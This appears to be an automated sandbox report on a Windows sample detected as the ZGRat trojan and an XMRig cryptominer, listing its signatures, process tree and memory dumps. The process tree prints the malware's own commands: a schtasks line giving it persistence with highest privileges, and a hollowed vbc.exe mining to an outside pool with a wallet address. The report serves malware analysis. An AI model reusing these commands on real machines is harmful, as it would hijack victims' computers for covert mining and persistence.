Analysis
- max time kernel
93s - max time network
161s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
- submitted
26/01/2024, 01:27
General
- Target 888309166f7f49e39d6250c386fafbf7.exe
- Size 4.8MB
- Sample240126-bt375scdhr
- SHA256 4ca2a1ecd5b0cd624b834ab4f7ac67159ed458255e326da79d9ceb3412e316a2
Malware Config
Signatures
- Detect ZGRat V1 2 IoCs
- ZGRat
ZGRat is remote access trojan written in C#.
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 14 IoCs
- .NET Reactor proctector 2 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- UPX packed file 17 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 1 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 17 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\888309166f7f49e39d6250c386fafbf7.exe"C:\Users\Admin\AppData\Local\Temp\888309166f7f49e39d6250c386fafbf7.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp242D.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
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C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"5⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
.exe
tmp242D.tmp.bat
memory/3192-1-0x00007FFC8D870000-0x00007FFC8E331000-memory.dmp
memory/3192-2-0x000000001C460000-0x000000001C470000-memory.dmp
memory/3192-3-0x00000000010B0000-0x00000000010B1000-memory.dmp
memory/3192-9-0x00007FFC8D870000-0x00007FFC8E331000-memory.dmp
memory/3192-0-0x0000000000340000-0x000000000080E000-memory.dmp
memory/3684-22-0x00007FFC8D840000-0x00007FFC8E301000-memory.dmp
memory/3684-14-0x00007FFC8D840000-0x00007FFC8E301000-memory.dmp
memory/3684-15-0x0000000003590000-0x00000000035A0000-memory.dmp
memory/3684-16-0x0000000001180000-0x0000000001181000-memory.dmp
memory/4568-23-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4568-30-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4568-18-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4568-21-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4568-24-0x000001A9C66E0000-0x000001A9C6700000-memory.dmp
memory/4568-17-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4568-25-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4568-26-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4568-27-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4568-28-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4568-29-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4568-20-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4568-31-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4568-32-0x000001A9C6860000-0x000001A9C6880000-memory.dmp
memory/4568-33-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4568-34-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4568-35-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4568-36-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4568-37-0x000001A9C6880000-0x000001A9C68A0000-memory.dmp
memory/4568-38-0x000001A9C68A0000-0x000001A9C68C0000-memory.dmp
memory/4568-39-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4568-40-0x000001A9C6880000-0x000001A9C68A0000-memory.dmp
memory/4568-41-0x000001A9C68A0000-0x000001A9C68C0000-memory.dmp